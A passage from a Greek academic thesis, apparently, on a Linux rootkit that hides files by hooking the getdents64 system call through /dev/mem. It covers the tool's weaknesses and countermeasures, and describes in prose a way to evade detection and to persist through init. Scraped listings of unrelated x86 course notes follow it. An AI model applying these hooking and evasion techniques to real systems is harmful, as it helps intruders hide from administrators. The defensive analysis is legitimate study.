να έχουν μια ειδική τιμή σε κάποια από τις εγγραφές του αντικειμένου file, ίσως κάποιες που δεν χρησιμοποιούνται τόσο συχνά. 95

97 17 Περιπτώσεις αποτυχίας Πριν αναφερθούμε αναλυτικά στα μέτρα προστασίας ενάντια στο συγκεκριμένο είδος ιού, θα γίνει μία περιγραφή των αδυναμιών του προγράμματος που αναπτύξαμε. Στην πραγματικότητα, ένα τέτοιο πρόγραμμα θα μπορούσε να χρησιμεύσει σε οποιονδήποτε αποφασίσει να χρησιμοποιήσει έναν εναλλακτικό τρόπο να κρύβει αρχεία στο σύστημά του, ίσως μάλιστα από 'κακόβουλους' χρήστες. Πρώτο προφανές μειονέκτημα είναι ότι βασίζεται στην μέθοδο του 'bruting' για να βρει τις ενδιαφέρουσες μεθόδους στην μνήμη. Αυτό θα μπορούσε να οδηγήσει σε λανθασμένα αποτελέσματα, ίσως κάποια 'σκουπίδια' που έτυχε να βρίσκονται στην μνήμη. Για παράδειγμα, ας υποθέσουμε πως αναγνωρίζουμε λανθασμένα έναν τυχαίο αριθμό ως την διεύθυνση της kmalloc. Αυτός ο αριθμός, τον οποίο εμείς θεωρούμε διεύθυνση, 'δείχνει' σε μία τυχαία θέση, όπου υπάρχουν επίσης 'σκουπίδια'. Στην καλύτερη περίπτωση η κλήση θα αποτύχει σαν μη έγκυρη διεύθυνση μνήμης, ή θα προκαλέσει ένα kernel panic, ή ακόμη χειρότερα θα αρχίσει να μεταφράζει τα δεδομένα της περιοχής αυτής ως κώδικα, με άγνωστα αποτελέσματα. Τα ίδια ακριβώς αποτελέσματα θα μπορούσαν να υπάρξουν όχι μόνο κατά την εγκατάσταση του προγράμματος, αλλά και κατά την απεγκατάστασή του. Αυτό φυσικά θα συμβεί μόνο εάν δεν είμαστε αρκετά προσεκτικοί και προσπαθήσουμε να κάνουμε απεγκατάσταση του προγράμματος χωρίς να έχει γίνει ποτέ η 96

98 εγκατάσταση. Από τον κώδικα φαίνεται ότι η πρωταρχική διεύθυνση των κλήσεων συστήματος που αντικαθιστούμε τοποθετείται σε μια συγκεκριμένη περιοχή που αποφασήσαμε να είναι 1200 byte μετά την αρχή της περιοχής μνήμης που δεσμεύσαμε με την βοήθεια της kmalloc(). Η περιοχή αυτή ξεκινά με τον καινούργιο κώδικα που εμείς τοποθετήσαμε, και καθώς κανένα shellcode που έχουμε γράψει δεν είναι μεγαλύτερο από 1200 byte αυτό μας επιτρέπει να γράψουμε εκεί την παλιά διεύθυνση. Σε περίπτωση που θελήσουμε να χρησιμοποιήσουμε την uninstall λειτουργία του προγράμματος, η διαδικάσία που ακολουθείται είναι η εξής, 1) Ανίχνευση της διεύθυνσης της μεθόδου της κλήσης συστήματος getdents64 από τον πίνακα διακοπών. 2) Αντιγραφή του ακεραίου αριθμούπου θα διαβαστεί από την περιοχή που βρίσκεται 1200 byte μετά την διεύθυνση που επιστρέφεται στο προηγούμενο βήμα. 3) Ορισμός αυτής της διεύθυνσης ως την διεύθυνση της μεθόδου της κλήσης συστήματος. Εάν δεν έχουμε εγκαταστήσει εμείς το πρόγραμμα, σε εκείνη την περιοχή θα βρούμε μάλλον κώδικα της ίδιας ή κάποιας άλλης μεθόδου πυρήνα. Ο ακέραιος αριθμός που βρίσκουμε μεταφράζεται ως διεύθυνση και η αναφορά σε αυτή την διεύθυνση το πιθανότερο θα προκαλέσει ένα kernel panic. Προσοχή επίσης θα πρέπει να δοθεί στην περίπτωση που το σύστημά μας έχει περισσότερες από μία επεξεργαστικές μονάδες. Εδώ οι αλλαγές που προκαλεί η δική μας διεργασία θα μπορούσαν να έχουν ανεξέλεγκτα αποτελέσματα στην 97

99 διεργασία που εκτελείται παράλληλα σε άλλη επεξεργαστική μονάδα και διαχειρίζεται τους ίδιους πόρους με εμάς. Ο πυρήνας χρησιμοποιεί την μέθοδο του κλειδώματος για κρίσιμες τέτοιες περιπτώσεις γνωστές ως race conditions. Κάτι ακόμη που 'λείπει' από το πρόγραμμά μας είναι ένας τρόπος να ελευθερώνεται η μνήμη όταν αποφασίσουμε να κάνουμε απεγκατάσταση του προγράμματος. Η μνήμη πυρήνα που δεν χρησιμοποιούμε πλέον πρέπει να ελευθερώνεται με την μέθοδο kfree(), διαφορετικά ο πυρήνας την θεωρεί δεσμευμένη. Με διαδοχικές εγκαταστάσεις και απεγκαταστάσεις του προγράμματος, θα μπορούσαμε να καταλήξουμε με πολλά κομμάτια δεσμευμένης μη χρησιμοποιούμενης μνήμης, μια κατάσταση όχι τόσο κρίσιμη στην συγκεκριμένη περίπτωση, αλλά ωστόσο μη επιθυμητή. Τέλος, όλη η διαδικασία θα μπορούσε να 'τιναχτεί στον αέρα' σε περίπτωση που έχουμε να κάνουμε με λειτουργικό που τρέχει πάνω σε VMware. Σε αυτή την περίπτωση, η κλήση της εντολής sidt ενδέχεται να μην επιστρέψει την διεύθυνση του IDT του τρέχοντος λειτουργικού. Χωρίς αυτό μας είναι αδύνατο να βρούμε τις διευθύνσεις των κλήσεων συστήματος στην παρούσα υλοποίηση. Η ύπαρξη ενός VM δεν είναι κάτι το τόσο σπάνιο. Όλο και περισσότεροι σταθμοί εργασίας, αλλά και server, σε δίκτυα επιχειρήσεων ή και μικρότερα, λειτουργούν πάνω σε τέτοιες μηχανές. Με το virtualization η εξοικονόμηση σε hardware είναι σημαντική και σε συνδιασμό με τις όλο αυξανόμενες δυνατότητες του, έχει καταστεί μία ελκυστική λύση. 98

100 18 Μέτρα προστασίας Κλείδωμα αρχείου /dev/mem Για να υπάρξει πλήρης προστασία από αυτού του είδους τις αλλοιώσεις στο σύστημα, η εγγραφή στο /dev/mem θα πρέπει να απαγορευθεί πλήρως. Με αυτό δεν εννοούμε την απαγόρευση του δικαιώματος εγγραφής w, από όλους τους χρήστες, καθώς αυτό μπορεί να αλλάξει τόσο εύκολα όσο να τεθεί. Η απαγόρευση δημιουργείται με την αλλαγή του κώδικα του πυρήνα και έχει εντελώς διαφορετική σημασία. Κάτι τέτοιο όμως δεν είναι επιθυμητό καθώς πολλοί drivers χρησιμοποιούν αυτό το αρχείο για την πρόσβαση στη μνήμη. Αυτοί οι drivers είναι γνωστοί με την ονομασία user mode drivers για να διαχωρίζονται από τα kernel modules Επανεκκίνηση Γεγονός είναι πως το πρόγραμμα στην παρούσα υλοποίηση δεν παραμένει στο σύστημα μετά από επανεκκίνηση. Επομένως όλα θα επανέλθουν στις αρχικές φυσιολογικές συνθήκες μετά από μια απλή επανεκκίνηση. Ένας τρόπος να παρακαμφθεί αυτό θα ήταν να κρυφτεί το ίδιο το πρόγραμμα στην διαδικασία init του συστήματος. Με αυτό τον τρόπο οι αλλαγές θα επιτελούνται με κάθε επανεκκίνηση. 99

101 Inotify Κάτι που θα μπορούσε να δυσκολέψει τα πράγματα για την συγκεκριμένη περίπτωση είναι η παρακολούθηση του αρχείου /dev/mem. Εργαλεία όπως το Inotify βοηθάνε στην παρακολούθηση εργασιών πάνω σε αρχεία. Ο διαχειριστής του συστήματος ειδοποιείται για εγγραφή, ανάγνωση και άλλες εργασίες πάνω σε αυτά [23] Backup του System.map Η πρόληψη είναι πάντα το καλύτερο μέτρο, γι'αυτό κανείς μπορεί να προνοήσει για μία τέτοια κατάσταση στην αρχική εγκατάσταση του συστήματος. Ένα back-up με τις αρχικές διευθύνσεις των μεθόδων του πυρήνα σε ένα εξωτερικό μέσο αποθήκευσης, και η συχνή σύγκριση αυτών με τις τωρινές μπορεί να αποκαλύψει οποιαδήποτε αλλαγή Αυτόματος έλεγχος Ένα αυτόματο εργαλείο ελέγχου θα μπορούσε ίσως να δώσει κάποιες ενδείξεις για την ύπαρξη μίας τέτοιας κατάστασης. Για παράδειγμα, όταν ένας εξυπηρετητής μιας κλήσης συστήματος (system call handler) έχει αλλαχθεί ώστε να δείχνει σε κάποια άλλη διεύθυνση μνήμης, αυτή η περιοχή στην οποία δείχνει αναγκαστικά θα είναι σε έναν χώρο διαφορετικό από αυτόν της εικόνας του πυρήνα, αφού θα είναι το αποτέλεσμα της κλήσης της kmalloc(). Με άλλα λόγια, η διεύθυνση μπορεί να διαφέρει με ύποπτο τρόπο από τις υπόλοιπες διευθύνσεις των εξυπηρετητών. Αυτό το γεγονός θα μπορούσε να χρησιμοποιηθεί στην ανίχνευση τέτοιων καταστάσεων, αλλά όχι με απόλυτη επιτυχία καθώς θα μπορούσε και αυτό να 100

102 παρακαμφτεί. Η παράκαμψη θα μπορούσε θεωρητικά να γίνει ως εξής: Η διεύθυνση του handler παραμένει ως έχει, αντίθετα όλος ο κώδικας του handler αντιγράφεται σε μία τρίτη περιοχή μνήμης, επίσης καινούργια και αποτέλεσμα της kmalloc(). Έπειτα στο αρχικό μέρος του handler, τοποθετείται ένα κομμάτι κώδικα που μεταφέρει τον έλεγχο πρώτα στην διεύθυνση που επιτελεί το hooking, και η οποία θα καλεί τον πραγματικό handler από την τρίτη περιοχή μνήμης. Για την κατανόηση αυτού δίνεται στο Σχήμα 18. Σχήμα 18. Διαδικασία hooking στον πίνακα κλήσεων συστήματος Το σημείο 1, είναι η περιοχή του πραγματικού handler στην οποία τοποθετούμε κώδικα που μας μεταφέρει στην περιοχή 2. Αυτήν τη περιοχή, καθώς και την περιοχή 3 έχουμε δεσμεύσει με την χρήση της kmalloc(). Στην περιοχή 3 έχουμε 101

Αρχιτεκτονικές Συνόλου Εντολών (ΙΙ)

Αρχιτεκτονικές Συνόλου Εντολών (ΙΙ) Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Αρχιτεκτονική Υπολογιστών 2017-18 Αρχιτεκτονικές Συνόλου Εντολών (ΙΙ) (Αρχιτεκτονική x86-64) http://mixstef.github.io/courses/comparch/ Μ.Στεφανιδάκης Αρχιτεκτονική

Διαβάστε περισσότερα

Αρχιτεκτονική x86(-64) 32-bit και 64-bit λειτουργία. Αρχιτεκτονική x86(-64) Αρχιτεκτονική επεξεργαστών x86(-64) Αρχιτεκτονικές Συνόλου Εντολών (ΙΙ)

Αρχιτεκτονική x86(-64) 32-bit και 64-bit λειτουργία. Αρχιτεκτονική x86(-64) Αρχιτεκτονική επεξεργαστών x86(-64) Αρχιτεκτονικές Συνόλου Εντολών (ΙΙ) Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Αρχιτεκτονική Υπολογιστών 2017-18 Αρχιτεκτονικές Συνόλου Εντολών (ΙΙ) (Αρχιτεκτονική x86-64) http://mixstef.github.io/courses/comparch/ Μ.Στεφανιδάκης Αρχιτεκτονική

Διαβάστε περισσότερα

Προηγμένοι Μικροεπεξεργαστές. Εργαστήριο 6 C & Assembly

Προηγμένοι Μικροεπεξεργαστές. Εργαστήριο 6 C & Assembly Προηγμένοι Μικροεπεξεργαστές Εργαστήριο 6 C & Assembly Real World Situation Στον πραγματικό κόσμο, κανείς δεν γράφει αποκλειστικά assembly Κουραστικό Δύσκολα συντηρήσιμος κώδικας Μηδενική φορητότητα Μεγάλη

Διαβάστε περισσότερα

Καταχωρητές & τμήματα μνήμης του Ματθές Δημήτριος Καθηγητής Πληροφορικής

Καταχωρητές & τμήματα μνήμης του Ματθές Δημήτριος Καθηγητής Πληροφορικής Καταχωρητές & τμήματα μνήμης του 8086 Ματθές Δημήτριος Καθηγητής Πληροφορικής Καταχωρητές γενικού σκοπού Υπάρχουν τέσσερις (4) γενικού σκοπού καταχωρητές των 16-bit που χρησιμοποιούνται από τους προγραμματιστές

Διαβάστε περισσότερα

; Γιατί είναι ταχύτερη η λήψη και αποκωδικοποίηση των εντολών σταθερού μήκους;

; Γιατί είναι ταχύτερη η λήψη και αποκωδικοποίηση των εντολών σταθερού μήκους; Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Αρχιτεκτονική Υπολογιστών 2015-16 Αρχιτεκτονικές Συνόλου Εντολών (ΙΙ) (Δομή Εντολών και Παραδείγματα) http://di.ionio.gr/~mistral/tp/comparch/ Μ.Στεφανιδάκης Αρχιτεκτονική

Διαβάστε περισσότερα

Εργαστήριο 3 ΟΡΓΑΝΩΣΗ ΤΗΣ ΚΜΕ. Εισαγωγή

Εργαστήριο 3 ΟΡΓΑΝΩΣΗ ΤΗΣ ΚΜΕ. Εισαγωγή Εισαγωγή Εργαστήριο 3 ΟΡΓΑΝΩΣΗ ΤΗΣ ΚΜΕ Σκοπός του εργαστηρίου είναι να γνωρίσουµε την εσωτερική δοµή και αρχιτεκτονική της κεντρικής µονάδας επεξεργασίας, να κατανοήσουµε τον τρόπο µε τον οποίο λειτουργεί

Διαβάστε περισσότερα

Προηγμένοι Μικροεπεξεργαστές. Protected Mode & Multitasking

Προηγμένοι Μικροεπεξεργαστές. Protected Mode & Multitasking Προηγμένοι Μικροεπεξεργαστές Protected Mode & Multitasking Μοντέλο Μνήμης Πριν τους 80386 η x86 αρχιτεκτονική ήταν 16 bit υπεραρκετά για τα PCs της εποχής Εκτός από την διευθυνσιοδότηση 16 bit διευθυνσιοδοτούν

Διαβάστε περισσότερα

Υποστήριξη Λ.Σ. ΜΥΥ-106 Εισαγωγή στους Η/Υ και στην Πληροφορική

Υποστήριξη Λ.Σ. ΜΥΥ-106 Εισαγωγή στους Η/Υ και στην Πληροφορική Υποστήριξη Λ.Σ. ΜΥΥ-106 Εισαγωγή στους Η/Υ και στην Πληροφορική Επικοινωνία με περιφερειακά Αρτηρία εισόδου-εξόδου, διευθύνσεις, εγγραφές αναγνώσεις Διαδικασία εξόδου έλεγχος κατάστασης περιφερειακού περίμενε

Διαβάστε περισσότερα

Οργάνωση επεξεργαστή (1 ο μέρος) ΜΥΥ-106 Εισαγωγή στους Η/Υ και στην Πληροφορική

Οργάνωση επεξεργαστή (1 ο μέρος) ΜΥΥ-106 Εισαγωγή στους Η/Υ και στην Πληροφορική Οργάνωση επεξεργαστή (1 ο μέρος) ΜΥΥ-106 Εισαγωγή στους Η/Υ και στην Πληροφορική Κώδικας μηχανής (E) Ο επεξεργαστής μπορεί να εκτελέσει το αρχιτεκτονικό σύνολο εντολών (instruction set architecture) Οι

Διαβάστε περισσότερα

Εισαγωγή στην Πληροφορική

Εισαγωγή στην Πληροφορική Ανοικτά Ακαδημαϊκά Μαθήματα στο ΤΕΙ Ιονίων Νήσων Εισαγωγή στην Πληροφορική Ενότητα 8: Λειτουργικά Συστήματα Το περιεχόμενο του μαθήματος διατίθεται με άδεια Creative Commons εκτός και αν αναφέρεται διαφορετικά

Διαβάστε περισσότερα

Προηγμένοι Μικροεπεξεργαστές. Εργαστήριο 4 - Editor

Προηγμένοι Μικροεπεξεργαστές. Εργαστήριο 4 - Editor Προηγμένοι Μικροεπεξεργαστές Εργαστήριο 4 - Editor Περιγραφή Υλοποίηση ενός υποτυπώδους editor που θα: Διαβάζει ένα προκαθορισμένο αρχείο Θα το απεικονίζει στην οθόνη Θα κάνει highlight με έναν ελεγχόμενο

Διαβάστε περισσότερα

Κεντρική Μονάδα Επεξεργασίας (ΚΜΕ) Τμήματα ΚΜΕ (CPU) Ένα τυπικό υπολογιστικό σύστημα σήμερα. Οργάνωση Υπολογιστών (Ι)

Κεντρική Μονάδα Επεξεργασίας (ΚΜΕ) Τμήματα ΚΜΕ (CPU) Ένα τυπικό υπολογιστικό σύστημα σήμερα. Οργάνωση Υπολογιστών (Ι) Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Εισαγωγή στην Επιστήμη των Υπολογιστών 2015-16 Οργάνωση Υπολογιστών (Ι) (η κεντρική μονάδα επεξεργασίας) http://di.ionio.gr/~mistral/tp/csintro/ Μ.Στεφανιδάκης Ένα

Διαβάστε περισσότερα

Οργάνωση Υπολογιστών (Ι)

Οργάνωση Υπολογιστών (Ι) Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Εισαγωγή στην Επιστήμη των Υπολογιστών 2014-15 Οργάνωση Υπολογιστών (Ι) (η κεντρική μονάδα επεξεργασίας) http://di.ionio.gr/~mistral/tp/csintro/ Μ.Στεφανιδάκης Ένα

Διαβάστε περισσότερα

Προηγμένοι Μικροεπεξεργαστές. Paging & Segmentation

Προηγμένοι Μικροεπεξεργαστές. Paging & Segmentation Προηγμένοι Μικροεπεξεργαστές Paging & Segmentation Segmentation Τεχνική για σπάσουμε την μνήμη σε λογικά κομμάτια Κάθε κομμάτι αποθηκεύει πληροφορία σχετική με data segments for each process code segments

Διαβάστε περισσότερα

Αρχιτεκτονική Υπολογιστών

Αρχιτεκτονική Υπολογιστών Τμήμα Μηχανικών Πληροφορικής & Τηλεπικοινωνιών Αρχιτεκτονική Υπολογιστών Ενότητα 7: Αποκωδικοποίηση Εντολής x86 Δρ. Μηνάς Δασυγένης mdasyg@ieee.org Εργαστήριο Ψηφιακών Συστημάτων και Αρχιτεκτονικής Υπολογιστών

Διαβάστε περισσότερα

Writing kernels for fun and profit

Writing kernels for fun and profit Writing kernels for fun and profit Γιάννης Τσιομπίκας nuclear@memberfsforg 23 Μαρτίου 2011 Γιατί; It s FUN! Εξοικείωση με το hardware Εμβάθυνση στον θαυμαστό κόσμο των λειτουργικών συστημάτων Μια καλή

Διαβάστε περισσότερα

ΗΥ 232 Οργάνωση και Σχεδίαση Υπολογιστών. Intel x86 ISA. Νίκος Μπέλλας Τμήμα Ηλεκτρολόγων Μηχανικών και Μηχανικών ΗΥ

ΗΥ 232 Οργάνωση και Σχεδίαση Υπολογιστών. Intel x86 ISA. Νίκος Μπέλλας Τμήμα Ηλεκτρολόγων Μηχανικών και Μηχανικών ΗΥ ΗΥ 232 Οργάνωση και Σχεδίαση Υπολογιστών Intel x86 ISA Νίκος Μπέλλας Τμήμα Ηλεκτρολόγων Μηχανικών και Μηχανικών ΗΥ RISC vs. CISC Η assembly των επεξεργαστών ARM, SPARC (Sun), και Power (IBM) είναι όμοιες

Διαβάστε περισσότερα

Εικονική Μνήμη (Virtual Μemory)

Εικονική Μνήμη (Virtual Μemory) ΗΥ 431 Αρχιτεκτονική Παραλλήλων Συστημάτων Διάλεξη 16 Εικονική Μνήμη (Virtual Μemory) Νίκος Μπέλλας Τμήμα Ηλεκτρολόγων Μηχανικών και Μηχανικών Η/Υ Απλό πείραμα int *data = malloc((1

Διαβάστε περισσότερα

Ιεραρχία Μνήμης. Εικονική μνήμη (virtual memory) Επεκτείνοντας την Ιεραρχία Μνήμης. Εικονική Μνήμη. Μ.Στεφανιδάκης

Ιεραρχία Μνήμης. Εικονική μνήμη (virtual memory) Επεκτείνοντας την Ιεραρχία Μνήμης. Εικονική Μνήμη. Μ.Στεφανιδάκης Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής ρχιτεκτονική Υπολογιστών 2016-17 Εικονική Μνήμη (και ο ρόλος της στην ιεραρχία μνήμης) http://mixstef.github.io/courses/comparch/ Μ.Στεφανιδάκης Δευτερεύουσα μνήμη

Διαβάστε περισσότερα

Αρχιτεκτονική Υπολογιστών

Αρχιτεκτονική Υπολογιστών Τμήμα Μηχανικών Πληροφορικής & Τηλεπικοινωνιών Αρχιτεκτονική Υπολογιστών Ενότητα 6: Διαδικασίες, Σωρός, Διαφανείς συναρτήσεις Δρ. Μηνάς Δασυγένης mdasyg@ieee.org Εργαστήριο Ψηφιακών Συστημάτων και Αρχιτεκτονικής

Διαβάστε περισσότερα

Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Αρχιτεκτονική Υπολογιστών Εικονική Μνήμη. (και ο ρόλος της στην ιεραρχία μνήμης)

Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Αρχιτεκτονική Υπολογιστών Εικονική Μνήμη. (και ο ρόλος της στην ιεραρχία μνήμης) Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Αρχιτεκτονική Υπολογιστών 2011-12 Εικονική (και ο ρόλος της στην ιεραρχία μνήμης) http://di.ionio.gr/~mistral/tp/comparch/ Μ.Στεφανιδάκης Ιεραρχία η νέα τάση: [2011]

Διαβάστε περισσότερα

ΔΙΑΧΕΙΡΙΣΗ ΜΝΗΜΗΣ. Λειτουργικά Συστήματα Ι. Διδάσκων: Καθ. Κ. Λαμπρινουδάκης ΛΕΙΤΟΥΡΓΙΚΑ ΣΥΣΤΗΜΑΤΑ Ι

ΔΙΑΧΕΙΡΙΣΗ ΜΝΗΜΗΣ. Λειτουργικά Συστήματα Ι. Διδάσκων: Καθ. Κ. Λαμπρινουδάκης ΛΕΙΤΟΥΡΓΙΚΑ ΣΥΣΤΗΜΑΤΑ Ι ΛΕΙΤΟΥΡΓΙΚΑ ΣΥΣΤΗΜΑΤΑ Ι Μάθημα: Λειτουργικά Συστήματα Ι ΔΙΑΧΕΙΡΙΣΗ ΜΝΗΜΗΣ Διδάσκων: Καθ. Κ. Λαμπρινουδάκης clam@unipi.gr 1 ΕΙΣΑΓΩΓΗ Μνήμη : Πόρος ζωτικής σημασίας του οποίου η διαχείριση απαιτεί ιδιαίτερη

Διαβάστε περισσότερα

Αρχιτεκτονικές Συνόλου Εντολών (ΙΙ)

Αρχιτεκτονικές Συνόλου Εντολών (ΙΙ) Ιόνιο Πανεπιστήμιο Τμήμα Πληροφορικής Αρχιτεκτονική Υπολογιστών 2016-17 Αρχιτεκτονικές Συνόλου Εντολών (ΙΙ) (Δομή Εντολών και Παραδείγματα) http://mixstef.github.io/courses/comparch/ Μ.Στεφανιδάκης Αρχιτεκτονική

Διαβάστε περισσότερα

ΑΡΧΙΤΕΚΤΟΝΙΚΗ HARDWARE ΥΠΟΛΟΓΙΣΤΙΚΩΝ ΣΥΣΤΗΜΑΤΩΝ

ΑΡΧΙΤΕΚΤΟΝΙΚΗ HARDWARE ΥΠΟΛΟΓΙΣΤΙΚΩΝ ΣΥΣΤΗΜΑΤΩΝ ΨΗΦΙΑΚΑ ΣΥΣΤΗΜΑΤΑ ΚΕΦΑΛΑΙΟ 7ο ΑΡΧΙΤΕΚΤΟΝΙΚΗ HARDWARE ΥΠΟΛΟΓΙΣΤΙΚΩΝ ΣΥΣΤΗΜΑΤΩΝ Γενικό διάγραμμα υπολογιστικού συστήματος Γενικό διάγραμμα υπολογιστικού συστήματος - Κεντρική Μονάδα Επεξεργασίας ονομάζουμε

Διαβάστε περισσότερα

Μικροεπεξεργαστές. Σημειώσεις Μαθήματος Υπεύθυνος: Δρ Άρης Παπακώστας,

Μικροεπεξεργαστές. Σημειώσεις Μαθήματος Υπεύθυνος: Δρ Άρης Παπακώστας, Μικροεπεξεργαστές Σημειώσεις Μαθήματος 2013-14 Υπεύθυνος: Δρ Άρης Παπακώστας, Η γλώσσα assembly είναι μια γλώσσα προγραμματισμού χαμηλού επιπέδου για συγκεκριμένους υπολογιστές ή άλλη προγραμματιζόμενη

Διαβάστε περισσότερα

Υποστήριξη διαδικασιών στο υλικό των υπολογιστών

Υποστήριξη διαδικασιών στο υλικό των υπολογιστών Βήματα στην εκτέλεση μιας διαδικασίας (procedure) 1. Τοποθέτηση παραμέτρων 2. Μεταβίβαση ελέγχου στη διαδικασία 3. Λήψη πόρων αποθήκευσης 4. Εκτέλεση επιθυμητής εργασίας 5. Τοποθέτηση αποτελέσματος σε

Διαβάστε περισσότερα

Προηγμένοι Μικροεπεξεργαστές. Έλεγχος Ροής Προγράμματος

Προηγμένοι Μικροεπεξεργαστές. Έλεγχος Ροής Προγράμματος Προηγμένοι Μικροεπεξεργαστές Έλεγχος Ροής Προγράμματος Control Flow εντολές Jump related JMP Jcc (JZ, JNZ, JB, JNB etc) JCXZ, JECXZ LOOP LOOPE, LOOPNE Procedure related CALL RET INT IRET INTO ENTER LEAVE

Διαβάστε περισσότερα

6. Επιστροφή ελέγχου στο σημείο εκκίνησης

6. Επιστροφή ελέγχου στο σημείο εκκίνησης Υποστήριξη διαδικασιών στο υλικό των υπολογιστών Βήματα στην εκτέλεση μιας διαδικασίας (procedure) 1. Τοποθέτηση παραμέτρων 2. Μεταβίβαση ελέγχου στη διαδικασία 3. Λήψη πόρων αποθήκευσης 4. Εκτέλεση επιθυμητής

Διαβάστε περισσότερα

Στοιχεία αρχιτεκτονικής μικροεπεξεργαστή

Στοιχεία αρχιτεκτονικής μικροεπεξεργαστή Στοιχεία αρχιτεκτονικής μικροεπεξεργαστή Αριθμός bit δίαυλου δεδομένων (Data Bus) Αριθμός bit δίαυλου διευθύνσεων (Address Bus) Μέγιστη συχνότητα λειτουργίας (Clock Frequency) Τύποι εντολών Αριθμητική

Διαβάστε περισσότερα

Αρχιτεκτονική Υπολογιστών

Αρχιτεκτονική Υπολογιστών Πανεπιστήμιο Δυτικής Μακεδονίας Τμήμα Μηχανικών Πληροφορικής & Τηλεπικοινωνιών Αρχιτεκτονική Υπολογιστών Ενότητα 3: Καταχωρητές, Τμήματα, Διευθυνσιοδότηση Μνήμης, SEGMENT, MOV, ADD, SUB, INT, TITLE, LEA

Διαβάστε περισσότερα

Οργάνωση Υπολογιστών ΕΛΛΗΝΙΚΗ ΔΗΜΟΚΡΑΤΙΑ ΠΑΝΕΠΙΣΤΗΜΙΟ ΚΡΗΤΗΣ. Διαλέξεις 6: Κάλεσμα Διαδικασιών, Χρήση και Σώσιμο Καταχωρητών. Μανόλης Γ.Η.

Οργάνωση Υπολογιστών ΕΛΛΗΝΙΚΗ ΔΗΜΟΚΡΑΤΙΑ ΠΑΝΕΠΙΣΤΗΜΙΟ ΚΡΗΤΗΣ. Διαλέξεις 6: Κάλεσμα Διαδικασιών, Χρήση και Σώσιμο Καταχωρητών. Μανόλης Γ.Η. ΕΛΛΗΝΙΚΗ ΔΗΜΟΚΡΑΤΙΑ ΠΑΝΕΠΙΣΤΗΜΙΟ ΚΡΗΤΗΣ Οργάνωση Υπολογιστών Διαλέξεις 6: Κάλεσμα Διαδικασιών, Χρήση και Σώσιμο Καταχωρητών Μανόλης Γ.Η. Κατεβαίνης Τμήμα Επιστήμης Υπολογιστών Άδειες Χρήσης Το παρόν εκπαιδευτικό

Διαβάστε περισσότερα

MIPS functions and procedures

MIPS functions and procedures Εθνικό Μετσόβιο Πολυτεχνείο Σχολή Ηλεκτρολόγων Μηχανικών - Μηχανικών Υπολογιστών Αρχιτεκτονική Υπολογιστών Νεκτάριος Κοζύρης MIPS functions and procedures Άδεια Χρήσης Το παρόν εκπαιδευτικό υλικό υπόκειται

Διαβάστε περισσότερα

Προηγμένοι Μικροεπεξεργαστές. Φροντιστήριο 4 Real Mode Interrupts

Προηγμένοι Μικροεπεξεργαστές. Φροντιστήριο 4 Real Mode Interrupts Προηγμένοι Μικροεπεξεργαστές Φροντιστήριο 4 Real Mode Interrupts Επισκόπηση Μορφές control tranfer Γενικά μη προγραμματισμένες Ασυγχρονα προς την εκτέλεση του προγράμματος Hardware interrupts Σύγχρονα

Διαβάστε περισσότερα

Διεργασίες (μοντέλο μνήμης & εκτέλεσης) Προγραμματισμός II 1

Διεργασίες (μοντέλο μνήμης & εκτέλεσης) Προγραμματισμός II 1 Διεργασίες (μοντέλο μνήμης & εκτέλεσης) Προγραμματισμός II 1 lalis@inf.uth.gr Ο κώδικας δεν εκτελείται «μόνος του» Ο εκτελέσιμος κώδικας αποθηκεύεται σε ένα αρχείο Το αρχείο είναι μια «παθητική» οντότητα

Διαβάστε περισσότερα

Εισαγωγή εκτελέσιμου κώδικα σε διεργασίες

Εισαγωγή εκτελέσιμου κώδικα σε διεργασίες 0x375 - Thessaloniki Tech Talks Sessions Event 0x2 19 Μαρτίου 2010 Περιεχόμενα 1 Εισαγωγή 2 Η κλήση συστήματος ptrace 3 Νήματα 4 Το πρόγραμμα εισαγωγής κώδικα prez 5 Επίλογος Γιατί; Πολλές φορές θέλουμε

Διαβάστε περισσότερα

ΛΕΙΤΟΥΡΓΙΚΑ ΣΥΣΤΗΜΑΤΑ Ι. Λειτουργικά Συστήματα Ι ΔΙΑΧΕΙΡΙΣΗ ΜΝΗΜΗΣ. Επ. Καθ. Κ. Λαμπρινουδάκης

ΛΕΙΤΟΥΡΓΙΚΑ ΣΥΣΤΗΜΑΤΑ Ι. Λειτουργικά Συστήματα Ι ΔΙΑΧΕΙΡΙΣΗ ΜΝΗΜΗΣ. Επ. Καθ. Κ. Λαμπρινουδάκης ΛΕΙΤΟΥΡΓΙΚΑ ΣΥΣΤΗΜΑΤΑ Ι Μάθημα: Λειτουργικά Συστήματα Ι ΔΙΑΧΕΙΡΙΣΗ ΜΝΗΜΗΣ Διδάσκων: Επ. Καθ. Κ. Λαμπρινουδάκης clam@unipi.gr 1 ΕΙΣΑΓΩΓΗ Μνήμη : Πόρος ζωτικής σημασίας του οποίου η διαχείριση απαιτεί ιδιαίτερη

Διαβάστε περισσότερα

Μικροεπεξεργαστές - Μικροελεγκτές Ψηφιακά Συστήματα

Μικροεπεξεργαστές - Μικροελεγκτές Ψηφιακά Συστήματα Μικροεπεξεργαστές - Μικροελεγκτές Ψηφιακά Συστήματα 1. Ποια είναι η σχέση της έννοιας του μικροεπεξεργαστή με αυτή του μικροελεγκτή; Α. Ο μικροεπεξεργαστής εμπεριέχει τουλάχιστο έναν μικροελεγκτή. Β. Ο

Διαβάστε περισσότερα

Κεφάλαιο 3 Αρχιτεκτονική Ηλεκτρονικού Τμήματος (hardware) των Υπολογιστικών Συστημάτων ΕΡΩΤΗΣΕΙΣ ΑΣΚΗΣΕΙΣ

Κεφάλαιο 3 Αρχιτεκτονική Ηλεκτρονικού Τμήματος (hardware) των Υπολογιστικών Συστημάτων ΕΡΩΤΗΣΕΙΣ ΑΣΚΗΣΕΙΣ Κεφάλαιο 3 Αρχιτεκτονική Ηλεκτρονικού Τμήματος (hardware) των Υπολογιστικών Συστημάτων ΕΡΩΤΗΣΕΙΣ ΑΣΚΗΣΕΙΣ 1. Τι εννοούμε με τον όρο υπολογιστικό σύστημα και τι με τον όρο μικροϋπολογιστικό σύστημα; Υπολογιστικό

